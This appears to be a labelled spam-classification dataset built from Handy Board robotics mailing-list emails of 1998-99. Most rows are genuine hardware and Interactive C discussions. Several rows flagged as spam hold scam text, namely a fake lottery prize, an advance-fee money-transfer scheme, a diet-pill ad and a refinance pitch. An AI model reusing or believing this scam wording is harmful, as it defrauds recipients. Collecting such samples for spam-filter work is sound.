v ify you ! V i isi b t our l site Sincerely, Lino Goettl Ap a prov x al Manager",1,1 Raul Otero ,"handyboard@media.mit.edu, chester@media.mit.edu, jacqueline@media.mit.edu, susan@media.mit.edu, carmen@media.mit.edu, eula@media.mit.edu","Tue, 29 Dec 1998 18:10:29 -0500",Melt away p0unds with Hood1aa," Hello my friend: Feel Better Look Better. Natural Plant Helps Fight Fat http://137.healtydietingg.com meredithg7890hydusih ",1,1 Milind Nagda ,Bill Denzel ,"Wed, 30 Dec 1998 11:54:13 +0530",Re: DC Motor Manufacturers,"Regarding the DC motor manufacturers that I had sent you a mail about. Here are the details: I have talked to the manufacturer here in India for obtaining the details for you and the good news are that they already export these motors to the USA. Here is the contact address that I have obtained of their distributor/dealer in the USA omkarc@aol.com The contact person out there is Mr. Rajan Shah You can obtain more details directly from him and in your mail you can include a reference that you obtained the contact from Mr.. Hemal Patel of Lunar motors based in Bombay, India. The motors that we are using for our project is the CR-500-GB1 heavy duty geared motor having voltage specifications from 6-12 V D.C. and available speeds are 4 to 90 RPM. These are pregeared motors which can be directly connected to the wheels and the output shaft can have the speed that you specify. You can obtain the detailed catalogue from the above mentioned dealer. Contact me on the following address if you would like to have any other details milind@ieee.org Thank you Milind Nagda Treasurer, IEEE VESIT STUDENT BRANCH ",0,0 Mistersporty Incorporation ,handyboard@media.mit.edu,"Wed, 30 Dec 1998 13:04:34 +0200",The Mistersporty Incorporation Worldcup Offer 2006,"The Mistersporty Incorporation Rambrantplein 1223, 2AD Den Haag, The Netherlands. E: Mail: enquiry@mistersporty.com Tele: +31-626-674-559 Fax:+31-847-205-838 The management of Mistersporty Incorporationis glad to announce to the world the giving away of the sum of THREE MILLION EUROS to 40 lucky email addresses all over the world. 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MR.Davide GERALD legalsec@mistersporty.com ",1,0 """Steve Troppoli (ultranet)"" ",Handy Board List ,"Wed, 30 Dec 1998 13:51:18 -0500",HBLS Subject Headers (please Read),"It would be great if everyone put something in the header of every message for the list. This would make it possible to have mail coming from the list automatically filed. Could we put something like 'HBLS' in the subject of every message for the list? ",0,0 """Steve Troppoli (ultranet)"" ",ic@newtonlabs.com,"Wed, 30 Dec 1998 13:51:26 -0500",HBLS Re: pcode 3.2 beta 1 with FP divide fix,"Hello All- Just as a data point for Randy...... I have installed 3.2 beta 1 pcode on my HandyBoard, and I get the right answer for floating point divides. : ) Randy Sargent wrote: > Hi all, > > With Jon Howell's help, we now have available a new version of IC pcode > which fixes the intermittent floating point divide problem. The divide > problem was caused by a bug in the floating point library used by the > pcode. > > The pcode works for IC 3.1/3.2, and is currently considered beta-test > status. If you'd like to download and try it, please get it from: > > ftp://newtonlabs.com/pub/pcode-fp-fix > > pcode_hb.s19: Pcode 3.2 beta 1 for Handy Board > pcode_rw.s19: Pcode 3.2 beta 1 for Rug Warrior > pcoderwp.s19: Pcode 3.2 beta 1 for Rug Warrior Pro > > Instructions for installation: > > Please make a copy of your currently working pcode and then replace with > the appropriate pcode from our ftp site. Then redownload your pcode. The > bootup message should state ""IC 3.2 beta 1"" if you have successfully > installed the new pcode. > > If you download the new pcode and try it, I'd really appreciate if you > could send mail to ic@newtonlabs.com letting us know if it worked, or > especially if something didn't work. We'd like to get the pcode out of > beta and into our main distribution as soon as possible. > > Thanks for your feedback, and we apologize for the bug. > > -- Randy > > ---------------------------------------------------------------- > Randy Sargent Newton Research Labs > President Robotic Systems and Software > rsargent@newtonlabs.com http://www.newtonlabs.com/ ",0,1 Michael Toh ,handyboard@media.mit.edu,"Thu, 31 Dec 1998 03:06:57 +0800",sensors input,"hi everyone, i have tried to configure a set of sensors used for sensoring the wall in the maze. the circuitry of each of the sensors is: +5V +5V ----- ----- | | | | \\ \\ / / R1=82 ohm \\ \\ R2=120Kohms / / | | | | ------- |/ IR emitter \\./ |\\ IR receiver ----- | | | | | --- --- GND GND the IR sensor is sharing the same +5V source and the same ground. but when i assembly 16 of them together, the habdyboard will immediately switch to reset mode. so i tried to troubleshoot by only connecting the digital sensor port and it works. but after about 2mins, the HB switch to reset mode again. the same situation happen when i tried with the analog port only. i like to know what is wrong and how to solve. could it be the wire is short or the circuitry is faulty? or could it be the HB cannot supply enough current to the sensors ? please help! i am really at my wits end. michael ",0,0 Timothy Bates ,Handy Board List ,"Thu, 31 Dec 1998 12:25:07 +1100",Re: HBLS Subject Headers (please Read),"either that or switch to an email client with better filtering. I use Claris Emailer 2 adn simply filter all mail whose to or from includes ""handyboard"" cheers, tim ____________________ Dr. Timothy Bates Don't compromise. Use QuickTime. Dept Psychology Macquarie University Sydney NSW 2109 Australia tbates@bunyip.bhs.mq.edu.au Get QuickTime Announce -- your source for QuickTime news and information",0,1 """B. Shahian"" ",Dave Yoest ,"Wed, 30 Dec 1998 18:02:50 -0800",Re: Miniboard in space.,"Can you possibly share your complete design (maybe in a web page ?). That would be a graet service for us all. Thanks Dave Yoest wrote: > > Hi, I realize that this is actually not a miniboard list, but since the > miniboard is actually the handyboards little brother, I figured maybe this > would be of interest. > > About a year ago I was asked to help a local high school integrate their > research project into a self-contained experiment to fly on the space > shuttle. Their project involved cockroach research, and they needed to > record roach activity for 2 minutes every 4 hours. This provided 10 days > of recorded video using a 120 minute hi-8 video camera. Since the camera > wasn't programmable for record, we needed a way to control it. I had a few > miniboards around, and they seemed like the perfect solution. > > Using Linux/GCC as a c compiler for code development, the camera power was > controlled using a relay wired to motor port 1. We used infrared remote > control on motor port 2 to actually control the camera, since it had a > infrared control system built in. Motor ports 3 & 4 were connected to > small light bulbs, and a photocell connected to the analog port monitored > illumination, The pwm values for port 3 & 4 were adjusted to maintain > constant illumination levels. A simple elegant solution for video system > control. > > This experiment flew on STS95 in November (along with John Glenn), and was > returned to the High School earlier this week. Review of the video > indicates the miniboard control system worked flawlessly, and video of the > roach activity in space was recorded as planned. > > Thanks Fred for a good controller design! I'll bet that miniboard > has travelled farther and faster than any of the others built. > > Dave Yoest > Systems Engineer > AlliedSignal Aerospace > NASA/Goddard Space Flight Center > dyoest@splat.gsfc.nasa.gov > > ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Thu, 31 Dec 1998 10:55:53 -0500",Announcing the Handy Board Expansion Board,"Greetings everyone, It's the last day of 1998, so it's a good time to announce the official release of the Handy Board expansion board. The Handy Board Expansion Board is officially released! The Expansion Board plugs on top of the Handy Board, and provides the following features: * 10 additional analog sensor inputs. * 4 inputs for active LEGO sensors (reflectance sensor and shaft encoder). * 9 digital outputs. * 6 servo motor control signals. Power may be supplied from the Handy Board's internal battery or an external source. * connector mount for Polaroid 6500 ultrasonic ranging system. * general-purpose electrical prototyping area. * pass-through connector for the Handy Board's LCD screen. A lot of people have contributed to design through their suggestions and feedback. I'm sorry it's taken so long, but, better late than never. Three vendors have already lined up to sell Expansion Board blank PCBs, parts kits, and assembled boards. Kits are in stock now; assembled boards will be available mid-January. All information is available at http://el.www.media.mit.edu/projects/handy-board/hbexp30/ Thanks everyone for your encouragement in getting this design done. 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Yours sincerely, Nitin ",0,1 """K.L.McKinnon"" <""klmckin@nospam""@magmacom.com>",Michael Toh ,"Fri, 01 Jan 1999 10:53:35 -0500",Re: sensors input,"You don't really show your connection to your Handyboard, but I would suspect that with 16 connectted in parallel, you are probably drawing sufficient current to drop your voltage below the reset value of the micro monitor (DS1233? if I remember corretly). Perhaps try testing the voltage with all in place, and making sure it is above about 4.5v. K.L. McKinnon Michael Toh wrote: > > hi everyone, > > i have tried to configure a set of sensors used for sensoring the wall in > the maze. > > the circuitry of each of the sensors is: > +5V +5V > ----- ----- > | | > | | > \\ \\ > / / > R1=82 ohm \\ \\ R2=120Kohms > / / > | | > | | > ------- |/ > IR emitter \\./ |\\ IR receiver > ----- | > | | > | | > --- --- > GND GND > > the IR sensor is sharing the same +5V source and the same ground. but when i > assembly 16 of them together, the habdyboard will immediately switch to > reset mode. so i tried to troubleshoot by only connecting the digital sensor > port and it works. but after about 2mins, the HB switch to reset mode again. > the same situation happen when i tried with the analog port only. > > i like to know what is wrong and how to solve. could it be the wire is short > or the circuitry is faulty? or could it be the HB cannot supply enough > current to the sensors ? > please help! i am really at my wits end. > > michael ",0,0 Ron Chase ,Handyboard ,"Fri, 01 Jan 1999 12:26:27 -0500",RE: Announcing the Handy Board Expansion Board,"How can I get ahold of a Lego shaft encoder? > > The Expansion Board plugs on top of the Handy Board, and provides the > following features: > > * 10 additional analog sensor inputs. > > * 4 inputs for active LEGO sensors (reflectance sensor and shaft > encoder). > ",0,0 FThompson9@aol.com,leahcim@pacific.net.sg,"Fri, 01 Jan 1999 12:33:21 -0500",Re: sensors input,"michael, The parallel combination of resistors is the recprical of the sum of their recpricol values. Req = 1 / ( 1/R1 + 1/R2 + 1/R3 + ...) Your 16 LED resistors combine to make Req = 1/( 16 x (1/82)) = 5.125 ohms. So your LEDs are drawing just under 1 Amp. (Remember there is a small (about 0.5V) voltage drop across the LED itself. The parallel combination of your 16 Sensor resistors is Req = 1/( 16 x (1/120,000)) = 7500 ohms, a little easier to support. The voltage drop across the sensors is expected to be much larger than 0.5 Volts. I would suggest that you take another look at the problem you are trying to solve. See if one LED can support several sensors, or if a single sensor set will work with a much larger LED resistor. Otherwise I suggest that you find another supply for the LEDs. Another idea to consider is to make the LEDs flicker (at something near 40 kHz, then design an AC amplifier for your sensor circuit. You might find a much better performance. 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Martin"" ","""SHETTI.NITIN.MANGESH"" ","Mon, 04 Jan 1999 09:34:16 -0500",Re: INTERACTIVE C ,"not really. you can issue serial line characters to the desktop PC from the HB (see the FAQ), but IC cannot display them. so, for interactive development, it won't work. but if you can quit IC and run a terminal emulator program on your PC (e.g., HyperTerminal, ZTerm), then it can be done. see the FAQ: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#serial fred > In Interactive C,the printf statement writes messages to the > LCD screen.Is there any way by which we can write to the monitor screen > of the computer from which the programs were downloaded? ",0,1 madstheworld ,"handyboard@media.mit.edu, ""Fred G. Martin"" ","Tue, 05 Jan 1999 01:07:16 +0530",HBML:,"We are not able to get the Dallas Semiconductor 1233 power on reset chip in India here. Can I use a regular power on reset circuit or can i find any particlular replacement for the chip. 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At 06:11 PM 1/4/99 -0500, SHETTI.NITIN.MANGESH wrote: >Dear Friends, > In Interactive C,the printf statement writes messages to the >LCD screen.Is there any way by which we can write to the monitor screen >of the computer from which the programs were downloaded? > Yours Sincerely, > Nitin > ",0,0 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Tue, 05 Jan 1999 19:09:58 -0500",Trinity Fire-Fighting Contest,"Has anyone built robots for the trinity fire-fighting contest. I would like to hear your design and what kind of major problems that you encountered in building it. A website would be great. The reason for my interest is that I need to include any ""prior research"" for my science project, because I built a fire-fighting robot for school. If you have a problem with me using your robot as discssion in my report please do not respond to this E-Mail. Thanks in Advance -Peter Eacmen Boston Latin School ",0,0 Charles Hacker EAS ,handyboard@media.mit.edu,"Wed, 06 Jan 1999 14:26:55 +1000",Interrupt Request line,"Hi all, Does anyone know how to get a the interrupt line on the handyboard. Been looking at the documentation, and was a bit surprised that the interrupt was not available. Am I missing something? Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 55948 670 Fax.(07) 55948 065 ",0,0 """Douglas S. Blank"" ",Chuck McManis ,"Tue, 05 Jan 1999 23:50:20 -0600",Re: INTERACTIVE C,"We have developed a library of functions so that one can write HB-style code and run it either on the HB or compile it with the library and run it on a PC. It hasn't been thoroughly debugged, but works consistently (There are some timing issues that need to be fixed.) It implements the basic functions (reading sensors, controlling motors, making sounds, printing to the LCD) but none of the threads, etc. The printf from the HB was changed to ""print"" so that ""printf"" is the standard printf on the PC. A couple of small changes, but most code which runs on the HB can run on the PC. You can find it at: http://brainstem.uark.edu/software/ under the HandyBoard section. We use this system so that we can integrate vision with our Handyboard-based robots relatively painlessly (we use Quickcams which have a lot of support under Linux and Windows). -Doug Blank Chuck McManis wrote: > > If you use icc11 (a cross compiler, not an interpreted compiler) for the > handyboard (they have a library for controlling the handyboard) then > printf() calls write to the PC and lcd_write calls write to the LCD. > --Chuck > > icc11 is available from www.imagecraft.com relatively inexpensively. > > At 06:11 PM 1/4/99 -0500, SHETTI.NITIN.MANGESH wrote: > >Dear Friends, > > In Interactive C,the printf statement writes messages to the > >LCD screen.Is there any way by which we can write to the monitor screen > >of the computer from which the programs were downloaded? > > Yours Sincerely, > > Nitin > > -- ============================================================= dblank@comp.uark.edu http://dangermouse.uark.edu/~dblank University of Arkansas, Assistant Professor, Computer Science ============================================================= ",0,1 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Tue, 05 Jan 1999 21:59:29 -0000",servo help," I could really use some help connecting a Futaba 3101 microservo. I bought the micro servo to reduce the weight instead of the standard S148 servo. Anyway, I connected the red line to the HB +5V supply on the SPI expansion header. The black wire to the -Batt connection on the power expansion header and the white control to digital input 9 on the top row. I loaded the file servo_a7.icb onto the board. However the servo keeps using it's full travel and then binding at the end causing too much current to be drawn and resetting the board (I am running the board off a 9V battery to save weight.) I tried changed the servo_a7_pulse constant to many different values but could not find the correct range. Has anyone connected this servo to the HB before or know what I am doing wrong? Thanks Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo ",0,0 """Fred G. Martin"" ",Bill Denzel ,"Wed, 06 Jan 1999 08:33:26 -0500",Re: servo help ,"try running the servo off of a separate power supply; e.g., 4 AA cells. you'd connect the servo red wire to the battery + lead, the servo black wire to the battery - lead, and also connect the battery - lead to the HB motor ground. in general it is a bad idea to power a servo off of the HB's regulated +5v supply. fred In your message you said: > I could really use some help connecting a Futaba 3101 microservo. I > bought the micro servo to reduce the weight instead of the standard S148 > servo. Anyway, I connected the red line to the HB +5V supply on the SPI > expansion header. The black wire to the -Batt connection on the power > expansion header and the white control to digital input 9 on the top row. I > loaded the file servo_a7.icb onto the board. However the servo keeps using > it's full travel and then binding at the end causing too much current to be > drawn and resetting the board (I am running the board off a 9V battery to > save weight.) I tried changed the servo_a7_pulse constant to many different > values but could not find the correct range. Has anyone connected this > servo to the HB before or know what I am doing wrong? Thanks > > Bill Denzel > > Senior Mechatronics Student > California Polytechnic State University > San Luis Obispo > > ",0,0 Jeremy Foo ,"handyboard@media.mit.edu, fredm@media.mit.edu","Wed, 06 Jan 1999 21:40:41 +0800",using external batteries,"dear readers and fred, i read the instructions on the website on how to use external battaries. the problem is: - in the website, i couldnt see the copper trace properly which we need to cut in order to use the external batteries port. could any one tell me which is the copper trace that i need to cut on my HB or it will be best if there is a clearer( zoom in ) diagram on that area. thnkx please reply to me soon (urgent) from : jass ",0,0 """Fred G. Martin"" ",Jeremy Foo ,"Wed, 06 Jan 1999 10:04:53 -0500",Re: using external batteries ,"the label on the diagram says ""cut motor trace here"" with an arrow that points to a dark band. if you look at your HB, it won't have a dark band. that's where you need to cut. slice through the green-coated trace where that dark band on the picture is. fred In your message you said: > dear readers and fred, > i read the instructions on the website on how to use external > battaries. the problem is: > - in the website, i couldnt see the copper trace properly which we > need to cut in order to use the external batteries port. > could any one tell me which is the copper trace that i need to cut on my > HB or it will be best if there is a clearer( zoom in ) diagram on that > area. thnkx > > please reply to me soon > (urgent) > from : jass > ",0,0 phillip chia ,handybd ,"Wed, 06 Jan 1999 00:38:18 +0800",Handyboard power supply,"Hi Fred and other, I intend to use grandcell rechargable batteries to supply the HD. Each battery is 1.5V . If I supply 7 batteries of total 10.5V to the HD , is there any problem ? rgds, phillip ",0,0 """Fred G. Martin"" ",phillip chia ,"Wed, 06 Jan 1999 13:45:39 -0500",Re: Handyboard power supply ,"what is the amp-hour rating of each cell. standard AA rechargables are 500 to 800 mAh. if your cells are significantly different than this, the charging might not work properly. generally though i don't see too many probs with this. you might need to use a 15v DC adapter rather than 12v. f. > Hi Fred and other, > I intend to use grandcell rechargable batteries to supply the HD. Each > battery is 1.5V . > If I supply 7 batteries of total 10.5V to the HD , is there any problem ? > > rgds, > phillip > ",0,0 FEDERICO SANTELLO ,handyboard@media.mit.edu,"Wed, 06 Jan 1999 20:57:06 +0100",Type conversion IC.,"Hi to all And HAPPY NEW YEAR. I have a question. How can i convert a floating variable into a integer variable? I must send via serial line the result of the functions SECONDS(). Thank Federico E-mail:fedsante@tin.it ",0,0 FEDERICO SANTELLO ,handyboard@media.mit.edu,"Wed, 06 Jan 1999 21:44:51 +0100",type conversion,"Hi to all And HAPPY NEW YEAR. I have a question. How can i convert a floating variable into a integer variable? I must send via serial line the result of the functions SECONDS(). Thank Federico E-mail:fedsante@tin.it ",0,0 Lewis Patterson ,handyboard@media.mit.edu,"Wed, 06 Jan 1999 12:13:12 -0600",GP2D02?,"If anyone who has successfully interfaced the GP2D02 to the Handyboard would share that knowledge with the less experienced, it would be greatly appreciated. Thanks! ",0,0 Christopher Prosser ,"FEDSANTE@tin.it, handyboard@media.mit.edu","Wed, 06 Jan 1999 19:45:01 -0800",Re: Type conversion IC.,"I don't have IC handy, but you should just be able to do a hard cast. float aFloat = 1.3; int anInteger = 0; anInteger = (int) aFloat; /*cast the float to an int */ /*you can also do it in a function call*/ FuntionTakesAnInt( (int) aFloat ); Hope this helps! -Chris Prosser ---FEDERICO SANTELLO wrote: > > Hi to all > And HAPPY NEW YEAR. > > I have a question. > How can i convert a floating variable into a integer variable? > I must send via serial line the result of the functions SECONDS(). > > Thank > > Federico > > E-mail:fedsante@tin.it > _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com",0,1 Slila Domane ,handyboard@media.mit.edu,"Wed, 06 Jan 1999 20:52:56 -0800",Position Control Question ?,"Hi Everybody Through reading every day e_mails, I have been led to beleive that I have to be carefull in choosing a servo motor brand, so could any body help me in choosing a servo for my application which is a position control,I mean a ref. and a supplier address. Thanx. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Douglas ,peter@aleve.media.mit.edu,"Thu, 07 Jan 1999 10:23:10 +0800",Your Re-finance Application confirmation,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.k82k.com Don't worry about approval, your credit will not disqualify you! Sincerely, Douglas Approval Manager ",1,1 Rien Matthijsse ,"'Lewis Patterson' , handyboard@media.mit.edu","Thu, 07 Jan 1999 08:24:43 +0100",RE: GP2D02?,"I own an handy-board now for 2 months and I have now 2 GP2D02 connected to it. (took me 1 hour to hook them up and test) You need a digital output-pin(like one off the spi-pins) or make use of the expansion-board, which has digital outputs. I created my own expansion board with 16 digitial out, 16 analog in and 8 digital in. I make use of a like wise pgm as found on: http://arielle.informatik.uni-kl.de/Lehre/Praktikum/PSD-IC.html Doing the High/Low setting of Vin is done differently than this example, because they use a peculiar, but interesting way of doing digital output. When you are interested I can post you my source. BTW the differences in readings on the same distance between the 2 PSDs is quite large. A reading on 50cm differs 16. This means that when you are interested in the absolute distance, you need to build specific lookup tables per PSD. Rgrds Rien > -----Original Message----- > From: Lewis Patterson [mailto:lewis@bsc.edu] > Sent: Wednesday, January 06, 1999 7:13 PM > To: handyboard@media.mit.edu > Subject: GP2D02? > > > If anyone who has successfully interfaced the GP2D02 to the > Handyboard would share that knowledge with the less experienced, > it would be greatly appreciated. > > Thanks! > ",0,1 Thierry Voinier ,handyboard@media.mit.edu,"Thu, 07 Jan 1999 08:52:23 +0100",,"unsubscribe Thierry VOINIER CNRS-LMA-IM 31, Chemin Joseph Aiguier 13402 Marseille France Tel : 04 91 16 44 73 Fax : 04 91 22 08 75 E-mail : voinier@alphalma.cnrs-mrs.fr http://alphalma.cnrs-mrs.fr/VOINIER ",0,1 """Frank Jim,"" ",,"Thu, 07 Jan 1999 04:59:33 +0100",CONTACTING YOU..,"Dear Sir/Madam, My name is Dr. Frank Jim, a senior staff and auditor head of computing department here in our bank.I have only written to seek your indulgence and assistance. I wish to make a transfer involving a huge amount of £15,000,000.00.(fifteen million pounds sterling). I am proposing to make this transfer to a designated bank account of your choice. Thus, for your indulgence and support, I propose an offer of 25% of the total amount to be yours after the transfer has been successfully concluded. Kindly reply me stating your interest, and I shall furnish you with the details and necessary proceedure with which to make the transfer. I am anxiously awaiting your response through my alternative email address {frankprivate@myway. com }and when replying this mail kindly include your Telephone and Fax number for better communication. Thanks and Godbless. Dr. Frank Jim. ",1,0 """Steve Troppoli (ultranet)"" ",HB ,"Thu, 07 Jan 1999 08:28:47 -0500",supplier for Sharp IS1U60 infrared demodulator,"Hello Folks- A couple of months ago I built a HB with the exception of one part... U15 (Sharp IS1U60 infrared demodulator) ... I now have the need. I am looking for the info for a supplier or individual that will sell a small number(2). I'm in the Massachusetts area, and will come and get them. Thanks! Steve. ",0,0 """Gansler Mike (K1-Fh/ESC1)"" ","'Lewis Patterson' , handyboard@media.mit.edu","Thu, 07 Jan 1999 10:36:42 -0500",RE: GP2D02?," Has anyone found a source for the GP2D02? -----Original Message----- From: Lewis Patterson [mailto:lewis@bsc.edu] Sent: Wednesday, January 06, 1999 1:13 PM To: handyboard@media.mit.edu Subject: GP2D02? If anyone who has successfully interfaced the GP2D02 to the Handyboard would share that knowledge with the less experienced, it would be greatly appreciated. Thanks! ",0,0 olly tsinker ,handyboard@media.mit.edu,"Thu, 07 Jan 1999 07:59:34 -0800",Sensors,"I ordered these sensors at Gleasonresearch in a sensor pack, but where can i buy them without other stuff... I need about 4 of these: they look like this: ______ / __ \\ / I__I \\ /__________\\ I I I I I I I I I I I I I I I I I I I I AND then i have an other question... 2 weeks ago i wrote a programm for the HB with a little LOOP it worked fine, but after a while it stopped and on the LCD-Display stood ""RUNTIME ERR"" or s.th. like this then i did a BEEP(); into the LOOP und then it worked fine without this error... what could it be?? ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Aaron Edsinger ,cprosser@acm.org,"Thu, 07 Jan 1999 22:45:34 -0800",Re: Type conversion IC.,"You can do this in IC 3.2, perhaps not in the freeware version. -----Original Message----- From: Christopher Prosser To: FEDSANTE@tin.it ; handyboard@media.mit.edu Date: Wednesday, January 06, 1999 8:18 PM Subject: Re: Type conversion IC. >I don't have IC handy, but you should just be able to do >a hard cast. >float aFloat = 1.3; >int anInteger = 0; >anInteger = (int) aFloat; /*cast the float to an int */ > >/*you can also do it in a function call*/ >FuntionTakesAnInt( (int) aFloat ); > >Hope this helps! >-Chris Prosser > > > > >---FEDERICO SANTELLO wrote: >> >> Hi to all >> And HAPPY NEW YEAR. >> >> I have a question. >> How can i convert a floating variable into a integer variable? >> I must send via serial line the result of the functions SECONDS(). >> >> Thank >> >> Federico >> >> E-mail:fedsante@tin.it >> > >_________________________________________________________ >DO YOU YAHOO!? >Get your free @yahoo.com address at http://mail.yahoo.com > >",0,1 olly tsinker ,handyboard@media.mit.edu,"Thu, 07 Jan 1999 12:48:55 -0800",SENSORS AGAIN }:,"Ok Ok... Sorry ... Here I have a Photo of these Sensors... The number on it is : IN THE FIRST LINE : QRB1114 IN THE SECOND LINE: QT820 It works with infra red... And I bought it in a sensor pach at: WWW.GLEASONRESEARCH.COM ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com",0,1 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Thu, 07 Jan 1999 17:28:27 -0000",RE: Sensors," I believe you can get them from mouser electronics. I bought the square ones from them a couple of weeks ago. www.mouser.com Bill Denzel   Senior Mechatronics Student California Polytechnic State University      San Luis Obispo > -----Original Message----- > From: olly tsinker [mailto:malte51@hotmail.com] > Sent: Thursday, January 07, 1999 4:00 PM > To: handyboard@media.mit.edu > Subject: Sensors > > > I ordered these sensors at Gleasonresearch in a sensor pack, > but where can i buy them without other stuff... > I need about 4 of these: > they look like this: > ______ > / __ \\ > / I__I \\ > /__________\\ > I I I I > I I I I > I I I I > I I I I > I I I I > > AND then i have an other question... > 2 weeks ago i wrote a programm for the HB with a little LOOP > it worked fine, but after a while it stopped > and on the LCD-Display stood ""RUNTIME ERR"" or s.th. like this > then i did a BEEP(); into the LOOP und then it worked fine > without this error... what could it be?? > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > ",0,1 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Fri, 08 Jan 1999 10:30:51 -0000",hexipod walker,"Hi all Iam thinking about making a six legged walking robot using servos and wondered if anybody has already built one. I want to use two servos per leg one for lifting and another for the sweeping action so giving 12 in total. One thing i want to know is how do you control twelve servos? i have seen some serial servo controllers that control upto 256, is it possible to control them with just the handyboard. also does the HB have enough proccessing power to control all these servos and still have enough spare for obstical avoidance etc. Any thoughts, tips etc. Thanks Russ.... ",0,0 John Hatton ,"""'r.farnhill@bssl.co.uk'"" , 'Handyboard Mailing List' ","Fri, 08 Jan 1999 11:20:02 -0000",RE: hexipod walker,"I previously posted information on the list about the controller and chassis that I am intending on using for my six legged walker so checking the archives may be useful. I am using an MSCC11 from Novasoft as a servo controller, I don't believe the HB on it's own can handle the workload of controlling 12 servos without help. The MSCC11 is also HC11 based and it is loaded with a servo controller program which is specifically designed to control a six legged walkers servos. It can actually control a total of 16 servos but only 12 are used for walking. The HB communicates with the controller via a standard serial comms. The controller only requires input so you could use the software write to drive a serial line from one of the output pins. If you are going to use a standard serial cable (ie. bi-directional comms) the controller can also return analogue values. I haven't built the walker yet as I need more servos and I need a few more components to finish the HB but running the controller from a PC with a terminal emulator the controller works with very little input from the PC so when using the HB you would be able to have it doing other things. If you want any more info you can contact me direct or via the list. Hope this helps. John Hatton mailto:johnhatton@email.com >---------- >From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] >Sent: 08 January 1999 10:30 >To: handyboard@media.mit.edu >Subject: hexipod walker > >Hi all > >Iam thinking about making a six legged walking robot using servos and >wondered if anybody has already built one. >I want to use two servos per leg one for lifting and another for the >sweeping action so giving 12 in total. One thing i want to know is how do >you control twelve servos? i have seen some serial servo controllers that >control upto 256, is it possible to control them with just the handyboard. >also does the HB have enough proccessing power to control all these servos >and still have enough spare for obstical avoidance etc. > > > >Any thoughts, tips etc. > >Thanks Russ.... > > > ",0,0 """Wijngaarde, Ronald"" ","handyboard@media.mit.edu, r.farnhill@bssl.co.uk","Fri, 08 Jan 1999 12:35:08 +0100",RE: hexipod walker,"I believe the best thing to do is use separte controlers (e.g. PICs) to control the specific motions of the servo's. This will allow you to have more control over the HB. There are several places on the web (e.g. http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's including having them control servo's. I think the timing constraints on 12 servo's will heavily tax the HB resources. Ronald Wijngaarde > ---------- > From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] > Sent: vrijdag 8 januari 1999 11:30 > To: handyboard@media.mit.edu > Subject: hexipod walker > > Hi all > > Iam thinking about making a six legged walking robot using servos and > wondered if anybody has already built one. > I want to use two servos per leg one for lifting and another for the > sweeping action so giving 12 in total. One thing i want to know is how > do > you control twelve servos? i have seen some serial servo controllers > that > control upto 256, is it possible to control them with just the > handyboard. > also does the HB have enough proccessing power to control all these > servos > and still have enough spare for obstical avoidance etc. > > > > Any thoughts, tips etc. > > Thanks Russ.... > ",0,1 Britney Mckibben ,handyboard@media.mit.edu,"Fri, 08 Jan 1999 02:49:08 -0500",This needs to be tried,"see andy and bequest some maiden a alcestis a peremptory ",1,0 John Hatton ,'Handyboard Mailing List' ,"Fri, 08 Jan 1999 11:58:35 -0000",RE: hexipod walker,"The only problem with using individual servo control is speed, the time it takes to move 12 servos by individual commands is rather long. This has the effect of slowing the walker down considerably. A dedicated controller such as the MSCC11 that I mentioned previously moves all the servos at the same time thus increasing the movement speed (admittedly this will probably not be very quick no matter what you use, I think I worked it out to be approximately 2 mile per hour max but my maths could be wrong). John Hatton mailto:johnhatton@email.com >---------- >From: Wijngaarde, Ronald[SMTP:r.wijngaarde@intercai.nl] >Sent: 08 January 1999 11:35 >To: handyboard@media.mit.edu; r.farnhill@bssl.co.uk >Subject: RE: hexipod walker > >I believe the best thing to do is use separte controlers (e.g. PICs) to >control the specific motions of the servo's. This will allow you to have >more control over the HB. There are several places on the web (e.g. >http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's >including having them control servo's. I think the timing constraints on >12 servo's will heavily tax the HB resources. > >Ronald Wijngaarde > >> ---------- >> From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] >> Sent: vrijdag 8 januari 1999 11:30 >> To: handyboard@media.mit.edu >> Subject: hexipod walker >> >> Hi all >> >> Iam thinking about making a six legged walking robot using servos and >> wondered if anybody has already built one. >> I want to use two servos per leg one for lifting and another for the >> sweeping action so giving 12 in total. One thing i want to know is how >> do >> you control twelve servos? i have seen some serial servo controllers >> that >> control upto 256, is it possible to control them with just the >> handyboard. >> also does the HB have enough proccessing power to control all these >> servos >> and still have enough spare for obstical avoidance etc. >> >> >> >> Any thoughts, tips etc. >> >> Thanks Russ.... >> > > ",0,1 Thomas Hauri ,handyboard@media.mit.edu,"Fri, 08 Jan 1999 13:18:26 +0100",Re: hexipod walker,"Timing 12 servos with the HB could be done. So far we are using 8 servos which don't use much cpu resources at all. But 1 compare output can only time 8 servos because of the servos timing requierments without using a lot of cpu time. So a second compare output must be used for the other 4 servos. But using a clever algorithm timing 12 servos could be done. The biggest problem is to get all the contol algorithms to run for 12 servos (12 axes) in realtime. It could be done using multiple handyboards. I'm very interested in your project, so please keep posting ideas and information about your WALKER. > I believe the best thing to do is use separte controlers (e.g. 